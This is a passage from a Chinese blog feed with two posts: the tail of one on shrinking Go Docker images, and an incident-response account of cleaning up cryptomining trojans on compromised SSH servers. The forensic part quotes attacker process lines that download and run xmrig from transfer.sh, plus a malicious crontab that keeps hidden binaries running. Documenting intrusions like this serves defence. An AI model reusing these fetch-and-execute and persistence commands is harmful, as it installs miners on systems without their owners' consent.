\u7684\u4e8c\u8fdb\u5236\u6587\u4ef6\uff0c\u8fd8\u662f\u8fc7\u5927\u4e86\uff0c\u90a3\u4e48\u53ef\u4ee5\u8bd5\u8bd5\u628a\u4ed6\u53bb\u6389\uff0c\u7528 scratch \uff0c\u6574\u4e2a\u5bb9\u5668\u6709\u4e14\u4ec5\u6709\u8fd9\u4e00\u4e2a\u4e8c\u8fdb\u5236\u6587\u4ef6\uff0c\u5c82\u4e0d\u662f\u5f88\u9177 :)<\/p>\n\n<p>\u53ea\u5728\u591a\u5e74\u4ee5\u524d\u521a\u5f00\u59cb\u770b docker \u6559\u7a0b\u7684\u65f6\u5019\u7528\u8fc7\u9759\u6001\u7f16\u8bd1\u7684\u4e22\u8fdb\u53bb\u8fd0\u884c\uff0c\u4ece\u6b64\u518d\u4e5f\u6ca1\u73a9\u8fc7\u4e86 :(<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n16\n17\n<\/pre><\/td><td class=\"rouge-code\"><pre>FROM golang:1.16 AS builder\nCOPY upx \/app\/upx\n\nWORKDIR \/app\nCOPY . .\nRUN go env -w GOPROXY=https:\/\/goproxy.io,direct\nRUN CGO_ENABLED=0 go build -ldflags=\"-w -s\" --trimpath -o app .\nRUN \/app\/upx --best app\n\nFROM scratch\n#FROM alpine\n#RUN apk --no-cache add ca-certificates\n\nWORKDIR \/app\nCOPY --from=builder \/app\/app .\nCMD [\".\/app\"]\n\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u6784\u5efa\u540e\u5927\u5c0f\u4e3a<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n<\/pre><\/td><td class=\"rouge-code\"><pre>docker images wxworkmsgbot_bot\nREPOSITORY         TAG       IMAGE ID       CREATED         SIZE\nwxworkmsgbot_bot   latest    aa2d5689d063   2 minutes ago   2.43MB\n\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u5f88\u660e\u663e\uff0c\u8fd9\u91cc\u4e5f\u4f1a\u6709\u7f3a\u8bc1\u4e66\u7684\u95ee\u9898\uff0c\u641c\u7d22\u4e00\u5708\u53ef\u4ee5\u53d1\u73b0\u6709\u4e2a<a href=\"https:\/\/juejin.cn\/post\/6844904174396637197\">\u5168\u5e72\u5de5\u7a0b\u5e08<\/a> \u5728\u4e00\u5e74\u524d\u53d1\u7684\u4e00\u7bc7\u6587\u7ae0\uff0c\u4ece\u524d\u5230\u540e\u548c\u6211\u7684\u601d\u8def\u4e00\u6837\uff0c\u8fde upx \u7684\u53c2\u6570\u90fd\u4e00\u6837 \u592a\u79bb\u8c31\u4e86:)<\/p>\n\n<p>\u90a3\u4e48\u5c31\u53c2\u8003\u4ed6\u7684\uff0c\u76f4\u63a5\u62f7\u8d1d\u8bc1\u4e66\u8fc7\u53bb<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n<\/pre><\/td><td class=\"rouge-code\"><pre>COPY --from=builder \/etc\/ssl\/certs\/ca-certificates.crt \/etc\/ssl\/certs\/\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u4e8e\u662f\u4e4e\u6709\u4e86\u6700\u7ec8\u80fd\u7528\u7684\u7248\u672c\u7684 dockerfile<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n<\/pre><\/td><td class=\"rouge-code\"><pre>FROM golang:1.16 AS builder\nCOPY upx \/app\/upx\n\nWORKDIR \/app\nCOPY . .\nRUN go env -w GOPROXY=https:\/\/goproxy.io,direct\nRUN CGO_ENABLED=0 go build -ldflags=\"-w -s\" --trimpath -o app .\nRUN \/app\/upx --best app\n\nFROM scratch\n\nWORKDIR \/app\nCOPY --from=builder \/app\/app .\nCOPY --from=builder \/etc\/ssl\/certs\/ca-certificates.crt \/etc\/ssl\/certs\/\nCMD [\".\/app\"]\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u6700\u7ec8\u5bb9\u5668\u7684\u5927\u5c0f<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n<\/pre><\/td><td class=\"rouge-code\"><pre>docker images wxworkmsgbot_bot\nREPOSITORY         TAG       IMAGE ID       CREATED         SIZE\nwxworkmsgbot_bot   latest    706e3549f0ad   2 minutes ago   2.64MB\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u5230\u6b64\u544a\u4e00\u6bb5\u843d\uff0c\u4e00\u4e2a\u6709\u4e14\u4ec5\u6709\u4e00\u4e2a\u4e8c\u8fdb\u5236\uff0c\u8fd8\u6709\u8bc1\u4e66\u7684\u5bb9\u5668\u641e\u5b8c\u4e86\u3002<\/p>\n\n<p>\u5230\u5934\u6765\u60f3\u60f3\uff0c\u4f3c\u4e4e\u6ca1\u5fc5\u8981\u8fd9\u6837\u8ffd\u6c42\u6781\u81f4\u3002<\/p>\n\n<p>\u6bd5\u7adf\u8fd9\u8ddd\u79bb\u6781\u81f4\u8fd8\u6709\u5f88\u8fdc\u3002<\/p>\n\n<p>\u8fd8\u53ef\u4ee5\u628a\u4e8c\u8fdb\u5236\u91cc\u9762\u518d\u7ee7\u7eed\u5206\u6790\uff0c\u7ee7\u7eed\u51cf\u5c0f\u3002<\/p>\n\n<p>\u5c31\u50cf\u770b\u5230\u4e86\u7ec8\u6781\u7b14\u8bb0\u7684\u7ec8\u6781\u4e00\u6837\uff0c\u7ec8\u6781\u771f\u7684\u5c31\u662f\u60f3\u8981\u8ffd\u6c42\u7684\u7ec8\u6781\u4e48\uff1f<\/p>\n\n<p>alpine \u56e0\u4e3a\u7528\u7684 musl \u800c\u4e0d\u662f glibc\u800c\u5bfc\u81f4\u7684\u95ee\u9898\uff0c\u8fc7\u4e8e\u7cbe\u7b80\u5bfc\u81f4\u7684\u4f9d\u8d56\u7f3a\u5931\u7684\u95ee\u9898\uff0c\u8ba9\u6211\u611f\u89c9\u8fd8\u662f debian \u6bd4\u8f83\u9760\u8c31 :)<\/p>\n\n<p>\u6240\u4ee5\u6211\u8fd8\u662f\u56de\u5f52\u6211\u6700\u7231\u7684 debian\uff0c\u628a\u4e8c\u8fdb\u5236\u653e\u8fdb\u53bb\uff0c\u5b8c\u4e8b\u513f :)<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n10\n11\n12\n13\n14\n15\n<\/pre><\/td><td class=\"rouge-code\"><pre>FROM golang:1.16 AS builder\n\nWORKDIR \/app\nCOPY . .\nRUN go env -w GOPROXY=https:\/\/goproxy.io,direct\nRUN CGO_ENABLED=0 go build -ldflags=\"-w -s\" --trimpath -o app .\n\n\nFROM debian\n\nWORKDIR \/app\nCOPY --from=builder \/app\/app .\nCOPY --from=builder \/etc\/ssl\/certs\/ca-certificates.crt \/etc\/ssl\/certs\/\nCMD [\".\/app\"]\n\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n<p>\u4e3b\u6d41\u7684\u955c\u50cf\u90fd\u662f\u57fa\u4e8e debian \u7684\uff0c\u56e0\u6b64\u6211\u8fd9\u91cc\u518d\u5f00\u4e00\u6b21\u4e0d\u4f1a\u591a\u5360\u7528\u7a7a\u95f4\u7684 :)<\/p>\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n<\/pre><\/td><td class=\"rouge-code\"><pre>docker images wxworkmsgbot_bot\nREPOSITORY         TAG       IMAGE ID       CREATED              SIZE\nwxworkmsgbot_bot   latest    d83396e4d977   About a minute ago   122MB\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u6240\u4ee5\uff0c\u8fd9\u5c31\u662f\u771f\u6b63\u7684\u6700\u540e\u7684\u955c\u50cf\u4e86 :)<\/p>\n\n<h1 id=\"refer\">refer<\/h1>\n\n<ul>\n  <li>\n    <p>https:\/\/docs.docker.com\/develop\/develop-images\/multistage-build\/<\/p>\n  <\/li>\n  <li>https:\/\/colobu.com\/2018\/08\/13\/create-minimal-docker-image-for-go-applications\/<\/li>\n  <li>https:\/\/juejin.cn\/post\/6844904174396637197<\/li>\n  <li>https:\/\/github.com\/golang\/go\/issues\/9344#issuecomment-69944514<\/li>\n<\/ul>\n\n<h1 id=\"\u8dcb\">\u8dcb<\/h1>\n\n<p>\u9002\u5ea6\u6478\u9c7c\uff0c\u6709\u76ca\u5065\u5eb7<\/p>\n\n<p>\u8fc7\u5ea6\u6478\u9c7c\uff0c\u4e0d\u80fd\u6bd5\u4e1a :)<\/p>\n\n<p>\u770b\u6587\u6863\u5199\u4ee3\u7801\u82b1\u4e86\u534a\u5929\u65f6\u95f4<\/p>\n\n<p>\u6478\u9c7c\u5199\u8fd9\u7bc7\u535a\u5ba2\uff0c\u534a\u5929\u65f6\u95f4\u53c8\u6ca1\u4e86<\/p>\n\n<p>\u7b11\u770b\u4e0b\u5468\u4e00\u7ec4\u4f1a\u6211\u5982\u4f55\u4ea4\u4ee3\u6211\u7ed9\u5bfc\u5e08\u8bf4\u7684\u6211\u8fd9\u5468\u51c6\u5907\u590d\u73b0\u7684\u8bba\u6587<\/p>\n\n<p>\u6211\u73b0\u5728\u8fd8\u5728\u770b\u8fd9\u7bc7\u8bba\u6587\uff0c\u8fd8\u6ca1\u5199\u4ee3\u7801 :)<\/p>\n\n<p>\u4e8b\u60c5\u8d8a\u591a\u8d8a\u4e0d\u60f3\u641e :(<\/p>\n\n<p>6\u670830\u53f7\u7684\u65f6\u5019\uff0c\u738b\u7237\u8bf4\u6211\u4eec\u73b0\u5728\u4e09\u5e74\u7ea7\u4e86 :(<\/p>\n\n<p>\u90a3\u4e48\u4e00\u77ac\u95f4<\/p>\n\n<p>\u6211\u7a81\u7136\u5c31\u614c\u4e8655555<\/p>\n\n<p>\u4e0d\u614c<\/p>\n\n<p>\u665a\u4e0a\u518d\u6765\u4e00\u628a csgo<\/p>\n\n<p>\u770b\u770b\u6211\u767d\u94f6\u4e00\u7684\u771f\u6b63\u5b9e\u529b<\/p>\n\n<p>Les1ie<\/p>\n\n<p>2021.7.3 15:19<\/p>\n\n","pubDate":"Sat, 03 Jul 2021 07:26:03 +0000","link":"https:\/\/iansmith123.github.io\/2021\/07\/03\/%E4%BC%98%E5%8C%96go%E7%9A%84docker%E9%95%9C%E5%83%8F%E5%A4%A7%E5%B0%8F\/","guid":"https:\/\/iansmith123.github.io\/2021\/07\/03\/%E4%BC%98%E5%8C%96go%E7%9A%84docker%E9%95%9C%E5%83%8F%E5%A4%A7%E5%B0%8F\/","category":["golang","docker"]},{"title":"\u8bb0\u4e24\u8d77\u6316\u77ff\u6728\u9a6c\u6392\u67e5","description":"<h1 id=\"\u6eaf\u6e90-fdl-\u7684\u673a\u5668\">\u6eaf\u6e90 fdl \u7684\u673a\u5668<\/h1>\n\n<p>2021\u5e745\u670817\u65e5\u4e0b\u5348\uff0c\u53d1\u73b0\u6709\u4eba\u7206\u7834\u6211\u670d\u52a1\u5668\u7684\u53e3\u4ee4\u3002<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/image-20210517210905611.png\" alt=\"image-20210517210905611\" \/><\/p>\n\n<p>\u67e5\u4e86\u4e0b\u662f fdl \u7684\uff0c\u8054\u7cfb\u4ed6\u8be2\u95ee\u60c5\u51b5\u3002<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210518134903.png\" alt=\"\" \/><\/p>\n\n<p>\u767b\u5f55\u4e0a\u53bb\u770b\u5230\u6709\u4e2a\u7528\u6237 <code class=\"language-plaintext highlighter-rouge\">127.0.0.1<\/code>\u767b\u5f55\u7684\uff0c\u4e00\u770b\u5c31\u77e5\u9053\u662f\u6620\u5c04\u5230\u516c\u7f51\u88ab\u4eba\u767b\u5f55\u4e86<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210518143447.png\" alt=\"\" \/><\/p>\n\n<p>\u786e\u8ba4\u8be5\u8d26\u53f7\u65e0\u4eba\u4f7f\u7528<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210518134835.png\" alt=\"\" \/><\/p>\n\n<p>\u4fee\u6539\u5bc6\u7801\u7136\u540e\u8e22\u51fa\u7528\u6237<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210518135021.png\" alt=\"\" \/><\/p>\n\n<p>CPU\u6316\u77ff<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/image-20210517171733685.png\" alt=\"image-20210517171733685\" \/><\/p>\n\n<p><code class=\"language-plaintext highlighter-rouge\">killall xmrig<\/code>\u4e00\u952e\u505c\u6b62\u6316\u77ff\u7a0b\u5e8f<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/image-20210517171728561.png\" alt=\"image-20210517171728561\" \/><\/p>\n\n<p>\u627e\u5230\u6316\u77ff\u7a0b\u5e8f\u672c\u4f53<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/image-20210517172121565.png\" alt=\"image-20210517172121565\" \/><\/p>\n\n<p><code class=\"language-plaintext highlighter-rouge\">\/var\/tmp\/<\/code>\u8def\u5f84\u4e0b\u6709\u7591\u4f3c\u626b\u63cf\u7684\u7a0b\u5e8f<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/image-20210517172255478.png\" alt=\"image-20210517172255478\" \/><\/p>\n\n<p>\u67e5\u770b <code class=\"language-plaintext highlighter-rouge\">lpz<\/code>\u7528\u6237\u542f\u52a8\u7684\u7a0b\u5e8f<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n9\n<\/pre><\/td><td class=\"rouge-code\"><pre>lpz       9845     1  0 5\u670816 ?       00:00:00 \/usr\/sbin\/sshd f bios.txt passretea 22 cd \/var\/tmp ; rm -rf xmrig ; wget http:\/\/transfer.sh\/zA1eg\/xmrig ; chmod +x xmrig ; .\/xmrig\nlpz      10361     1  0 16:00 ?        00:00:00 \/usr\/sbin\/sshd f bios.txt passretea 22 cd \/var\/tmp ; cd ..o ; .\/xmrig\nlpz      10628     1  0 16:00 ?        00:00:00 \/usr\/sbin\/sshd f bios.txt passretea 22 cd \/var\/tmp ; cd ..o ; .\/xmrig\nlpz      11418     1  0 5\u670816 ?       00:00:00 \/usr\/sbin\/sshd f bios.txt passretea 22 cd \/var\/tmp ; rm -rf xmrig ; wget http:\/\/transfer.sh\/zA1eg\/xmrig ; chmod +x xmrig ; .\/xmrig\nlpz      12349     1  0 5\u670816 ?       00:00:00 \/usr\/sbin\/sshd f bios.txt passretea 22 cd \/var\/tmp ; rm -rf xmrig ; wget http:\/\/transfer.sh\/zA1eg\/xmrig ; chmod +x xmrig ; .\/xmrig\nlpz      13160     1  0 5\u670815 ?       00:00:00 \/usr\/sbin\/sshd f bios.txt passretea 22 cd \/var\/tmp ; rm -rf ..o ; mkdir ..o ; cd ..o ; wget http:\/\/transfer.sh\/GgVQs\/xmrig ; chmod +x xmrig ; .\/xmrig\nlpz      13462     1  0 16:10 ?        00:00:00 \/usr\/sbin\/sshd f bios.txt passretea 22 cd \/var\/tmp ; cd ..o ; .\/xmrig\nlpz      13633     1  0 5\u670816 ?       00:00:00 \/usr\/sbin\/sshd f bios.txt passretea 22 cd \/var\/tmp ; rm -rf xmrig ; wget http:\/\/transfer.sh\/zA1eg\/xmrig ; chmod +x xmrig ; .\/xmrig\n\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p><img src=\"https:\/\/static.scuseek.com\/image-20210517172830380.png\" alt=\"image-20210517172830380\" \/><\/p>\n\n<p>\u627e\u5230  bios.txt<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/image-20210517173105061.png\" alt=\"image-20210517173105061\" \/><\/p>\n\n<p>\u5185\u5bb9\u5982\u4e0b<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/image-20210517173037790.png\" alt=\"image-20210517173037790\" \/><\/p>\n\n<p>\u67e5\u770b\u5efa\u7acb\u7684ssh,\u53d1\u73b0\u6b63\u5728\u7206\u7834\u53e3\u4ee4<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210518144217.png\" alt=\"\" \/><\/p>\n\n<p>\u505c\u6b62\u8be5\u7528\u6237\u7684\u6240\u6709\u5bf9\u5916\u53d1\u8d77\u7684\u7206\u7834\u653b\u51fb<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/image-20210517183217689.png\" alt=\"image-20210517183217689\" \/><\/p>\n\n<p>\u796d\u51fa\u5f88\u4e45\u4ee5\u524d\u5199\u7684\u4e00\u4e2a\u975e\u5e38\u5f31\u9e21\u7684\u68c0\u67e5\u7a0b\u5e8f<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210518135310.png\" alt=\"\" \/><\/p>\n\n<p>\u67e5\u770b\u6210\u529f\u767b\u5f55\u7684\u8bb0\u5f55\uff0c\u8bb0\u5f55\u6587\u4ef6\u7f3a\u5931\u4e0d\u5c11\uff0c\u53ef\u80fd\u662f\u653b\u51fb\u8005\u624b\u6296\u5220\u4e86\u7684<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/image-20210517183738389.png\" alt=\"image-20210517183738389\" \/><\/p>\n\n<p>\u76ee\u5f55\u91cc\u9762\u7ffb\u4e86\u7ffb\uff0c\u627e\u5230\u4e86\u7206\u7834\u6210\u529f\u7684\u53e3\u4ee4<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210518135528.png\" alt=\"\" \/><\/p>\n\n<p>\u5f00\u673a\u81ea\u542f\u52a8\u7206\u7834ssh\u7684\u7a0b\u5e8f<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/image-20210517200731869.png\" alt=\"image-20210517200731869\" \/><\/p>\n\n<p><code class=\"language-plaintext highlighter-rouge\">\/var\/spool\/cron\/crontabs\/lpz <\/code> \u6587\u4ef6\u5185\u5bb9\uff0c\u6ce8\u91ca\u6240\u6709\u5185\u5bb9<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n2\n3\n4\n5\n6\n7\n8\n<\/pre><\/td><td class=\"rouge-code\"><pre># DO NOT EDIT THIS FILE - edit the master and reinstall.\n# (\/var\/tmp\/.5p4rk3l5 installed on Mon May  3 14:22:22 2021)\n# (Cron version -- $Id: crontab.c,v 2.13 1994\/01\/17 03:20:37 vixie Exp $)\n@daily \/var\/tmp\/.\/.b4nd1d0\n@reboot \/var\/tmp\/.\/.black &gt; \/dev\/null 2&gt;&amp;1 &amp; disown\n* * * * * \/var\/tmp\/.\/.black &gt; \/dev\/null 2&gt;&amp;1 &amp; disown\n@monthly \/var\/tmp\/.\/.black  &gt; \/dev\/null 2&gt;&amp;1 &amp; disown\n\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u95ee\u9898\u4e0d\u5927\uff0c\u7a0b\u5e8f\u8d77\u4e0d\u6765\u4e86\uff0c\u4fdd\u7559\u73b0\u573a\uff0c\u7559\u7ed9 fdl \u4e86\uff0c\u6211\u5c31\u6e9c\u4e86\u3002<\/p>\n\n<p>\u7136\u540e\u4f3c\u4e4e\u5e94\u8be5\u8054\u7cfb\u4e00\u4e0b\u53d7\u5bb3\u8005\uff0c\u4e8e\u662f\u5728\u67d0\u4e2a\u7fa4\u91cc\u8bf4\u4e86\u4e0b\u53d7\u5bb3\u8005IP :)<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210518145244.png\" alt=\"\" \/><\/p>\n\n<p>\u51fa\u73b0\u53d7\u5bb3\u8005\uff0c\u7740\u5b9e\u592a\u60e8\u4e86<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210518145414.png\" alt=\"\" \/><\/p>\n\n<p>\u4e8b\u60c5\u544a\u4e00\u6bb5\u843d\uff0c\u7b80\u5355\u8bb0\u5f55\u4e86\u4e0b\u6d41\u7a0b\uff0cfdl \u5efa\u8bae\u653e\u5230\u5185\u7f51\uff0c\u8ba9\u5176\u4ed6\u4eba\u6392\u67e5\u7684\u65f6\u5019\u591a\u4e00\u70b9\u601d\u8def\uff0c\u4e8e\u662f\u6211\u653e\u5230\u5185\u7f51\u4e86\uff0c\u4e0d\u8fc7\u4f3c\u4e4e\u6253\u70b9\u9a6c\u8d5b\u514b\u8fd8\u53ef\u4ee5\u6c34\u4e00\u7bc7\u6211\u81ea\u5df1\u7684\u535a\u5ba2\uff08\u7b11<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210518181351.png\" alt=\"\" \/><\/p>\n\n<h1 id=\"\u7b80\u5355\u7684\u5bf9\u6297\">\u7b80\u5355\u7684\u5bf9\u6297<\/h1>\n\n<p>\u66fe\u5927\u4f6c\u7684\u540c\u5b66\u670d\u52a1\u5668\u4e2d\u6bd2\uff0c\u9047\u5230\u6316\u77ff\u6728\u9a6c\u3002<\/p>\n\n<p>\u6628\u5929\u4ed6\u4eec\u641e\u4e86\u5feb\u4e00\u5929\u8fd8\u6ca1\u641e\u5b9a\uff0c\u6211\u6628\u5929\u4e0b\u5348\u7ed9\u4ed6\u8bf4\u8ba9\u4ed6\u4eec\u628assh\u53e3\u4ee4\u62ff\u6765\uff0c\u7ed3\u679c\u66fe\u5927\u4f6c\u5341\u5206\u7f9e\u6da9\uff08\u7b11\uff09\uff0c\u4e00\u76f4\u6ca1\u6709\u8981\u53e3\u4ee4\uff0c\u4eca\u65e9\u6765\u7684\u65f6\u5019\u770b\u5230\u66fe\u5927\u4f6c\u8fd8\u5728\u5e2e\u5bf9\u9762\u5206\u6790\u3002<\/p>\n\n<p>\u4e0d\u8fc7\uff0c\u6211\u6628\u5929\u665a\u996d\u7684\u65f6\u5019\u521a\u6eaf\u6e90\u4e86\u4e00\u53f0\u673a\u5668\uff08\u524d\u9762 fdl \u7684\u90a3\u53f0\uff09\uff0c\u6211\u95ee\u5230\u4e86\u66fe\u5927\u4f6c\u4ed6\u4eec\u7684IP\u5730\u5740\uff0c\u518d\u53bb\u6628\u5929\u6eaf\u6e90\u7684\u673a\u5668\u91cc\u9762\u62d6\u4e0b\u6765\u7684\u6587\u4ef6\u5bf9\u6bd4\uff0c\u627e\u5230\u4e86\u4ed6\u4eec\u670d\u52a1\u5668\u7684\u5bc6\u7801  :)<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210518145717.png\" alt=\"\" \/><\/p>\n\n<p>\u8bd5\u4e86\u4e0b\uff0c\u53d1\u73b0\u4ed6\u4eec\u5df2\u7ecf\u628a\u5bc6\u7801\u6539\u4e86  :(<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210518145748.png\" alt=\"\" \/><\/p>\n\n<p>\u7136\u540e10:30\u7684\u65f6\u5019\uff0c\u66fe\u5927\u4f6c\u7ec8\u4e8e\u95ee\u5230\u4e86\u5bc6\u7801\uff0c\u53c8\u662f\u4e00\u4e2a\u4e0d\u592a\u5f31\u7684\u5f31\u53e3\u4ee4\uff0c\u8fd8\u597d\uff0c\u67e5\u4e86\u4e0b\u6ca1\u6709\u5728rockyou.txt\u91cc\u9762\u3002<\/p>\n\n<p>\u767b\u4e0a\u53bb\u4e00\u770b\uff0c\u597d\u5bb6\u4f19\uff0c\u6211\u6628\u5929\u6eaf\u6e90\u7684\u90a3\u53f0\u673a\u5668\u628a\u8fd9\u53f0\u7206\u7834\u6210\u529f\u4e86\uff0c\u8fd8\u53cd\u590d\u767b\u5f55\u4e86\u597d\u591a\u6b21\u3002\u6765\u4e86\u4e24\u6ce2\u6316\u77ff\u7684\u653b\u51fb\u8005\uff0c\u5927\u80c6\u60f3\u8c61\u7b2c\u4e8c\u6ce2\u628a\u7b2c\u4e00\u6ce2\u653b\u51fb\u8005\u7684\u6316\u77ff\u6728\u9a6c\u505c\u4e86\u8fd0\u884c\u81ea\u5df1\u7684\uff0c\u7136\u540e\u7b2c\u4e00\u6ce2\u56de\u6765\u4e86\u53c8\u628a\u7a0b\u5e8f\u6539\u56de\u6765\u4e86\uff0c\u7ed3\u679c\u6ca1\u60f3\u5230\u7b2c\u4e8c\u6ce2\u505a\u4e86\u5bf9\u6297\uff0c\u7b2c\u4e00\u6ce2\u88ab\u8feb\u548c\u7b2c\u4e8c\u6ce2\u5171\u4eabCPU\uff0c\u679c\u7136\u6316\u77ff\u7684\u6700\u5927\u654c\u4eba\u662f\u670d\u52a1\u5668\u4e0a\u5176\u4ed6\u6316\u77ff\u7684\u4eba\u3002\uff08\u5e0c\u671b\u4e0d\u662f\u62ab\u7740\u6316\u77ff\u5916\u8863\u7684APT\u653b\u51fb\uff09<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210518132923.png\" alt=\"\" \/><\/p>\n\n<p>mail\u5217\u8868\u53ef\u4ee5\u770b\u5230\u63d0\u793a <code class=\"language-plaintext highlighter-rouge\">\/usr\/bin\/sa\/sa1<\/code>\u6587\u4ef6\u4e0d\u5b58\u5728\uff0c\u662f\u56e0\u4e3a\u524d\u9762\u7684\u6392\u67e5\u7684\u540c\u5b66\u5df2\u7ecf\u628a\u8fd9\u4e2a\u6076\u610f\u8def\u5f84\u91cd\u547d\u540d\u4e86\uff0c\u7a0b\u5e8f\u542f\u52a8\u4e0d\u4e86\u3002\u90a3\u5c31\u641c\u7d22\u54ea\u91cc\u51fa\u73b0\u4e86\u8fd9\u4e2a\u53ef\u7591\u8def\u5f84\u3002<\/p>\n\n<p>\u4f7f\u7528strings\u547d\u4ee4\u5728\u6240\u6709\u6587\u672c\u548c\u4e8c\u8fdb\u5236\u6587\u4ef6\u4e2d\u67e5\u627e\u8fd9\u4e2a\u5b57\u7b26\u4e32\u3002<\/p>\n\n<div class=\"language-plaintext highlighter-rouge\"><div class=\"highlight\"><pre class=\"highlight\"><code><table class=\"rouge-table\"><tbody><tr><td class=\"rouge-gutter gl\"><pre class=\"lineno\">1\n<\/pre><\/td><td class=\"rouge-code\"><pre>find -print0|xargs -0  strings |grep \"\/usr\/lib64\/sa\"\n<\/pre><\/td><\/tr><\/tbody><\/table><\/code><\/pre><\/div><\/div>\n\n<p>\u641c\u7d22\u4e86\u4e4b\u540e\u627e\u5230\u6587\u4ef6\uff0c\u521d\u6b65\u5206\u6790\u6b64\u6587\u4ef6\u548c\u751f\u6210\u7684\u6076\u610f\u7a0b\u5e8f <code class=\"language-plaintext highlighter-rouge\">\/usr\/bin\/ <\/code> \u6ca1\u6709\u76f4\u63a5\u5173\u7cfb\uff0c\u7ebf\u7d22\u6682\u65f6\u4e2d\u65ad\u3002<\/p>\n\n<p><code class=\"language-plaintext highlighter-rouge\">ps -ef <\/code>\u53ef\u4ee5\u770b\u5230\u542f\u52a8\u4e86\u4e00\u4e2a\u8fdb\u7a0b <code class=\"language-plaintext highlighter-rouge\">\/usr\/bin\/\u968f\u673a\u5b57\u7b26\u4e32<\/code>\uff0c\u53d1\u9001<code class=\"language-plaintext highlighter-rouge\">kill -9<\/code>\u4e4b\u540e\u7acb\u523b\u91cd\u65b0\u542f\u52a8\uff0c\u542f\u52a8\u4e4b\u540e\u8fd9\u4e2a\u7a0b\u5e8f\u4f1a\u5220\u9664\u672c\u8eab\uff0c\u4ee5\u8fbe\u5230\u9690\u85cf\u81ea\u5df1\u7684\u76ee\u7684\u3002\u7236\u8fdb\u7a0b<code class=\"language-plaintext highlighter-rouge\">pid<\/code>\u662f<code class=\"language-plaintext highlighter-rouge\">1<\/code>\uff0c\u53ef\u4ee5\u77e5\u9053\u662f<code class=\"language-plaintext highlighter-rouge\">systemd<\/code>\u542f\u52a8\u7684\u6076\u610f\u8fdb\u7a0b\u3002<\/p>\n\n<p>\u697c\u4e0a\u5927\u4f6c\u5199\u4e86\u811a\u672c\u65e0\u9650\u5faa\u73afkill\u6389\u8fd9\u4e2a<\/p>\n\n<p><img src=\"https:\/\/static.scuseek.com\/20210518132008.png\" alt=\"\" \/><\/p>\n\n<p>\u7ee7\u7eed\u5bfb\u627e\u5230\u5e95\u8c01\u5728\u641e\u4e8b\u3002<\/p>\n\n<ol>\n  <li>\n    